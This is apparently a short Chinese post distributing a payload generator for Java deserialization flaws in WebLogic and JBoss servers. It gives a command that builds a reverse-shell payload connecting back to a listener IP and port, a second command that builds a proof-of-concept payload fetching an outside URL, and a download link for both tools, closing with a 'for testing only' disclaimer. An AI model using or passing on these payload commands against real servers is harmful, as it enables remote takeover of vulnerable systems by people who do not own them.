Java反序列化漏洞之Weblogic、Jboss利用之payload生成工具

为了方便小伙伴们使用，我导出了两个jar包，分别用于制作反弹shell的payload和测试的payload。

     使用方法和利用方法请仔细看下面的截图：

     1、制作反弹shell的payload并利用：

      命令：
java -jar makeshell.jar 你的IP 监听端口 payload名
如：
java -jar makeshell.jar 202.112.221.32 8888 D:\\java\\shellpayload

 1、制作POC的payload并利用：

      命令：
java -jar makepoc.jar 请求的URL payload名
如：
java -jar makpoc.jar http://www.xxxxx.org/xxooxxooxxoo.txt D:\\java\\pocpayload

脚本下载： http://pan.baidu.com/s/1hrfjdDM


仅供运维测试漏洞，请勿非法使用，否则后果自负！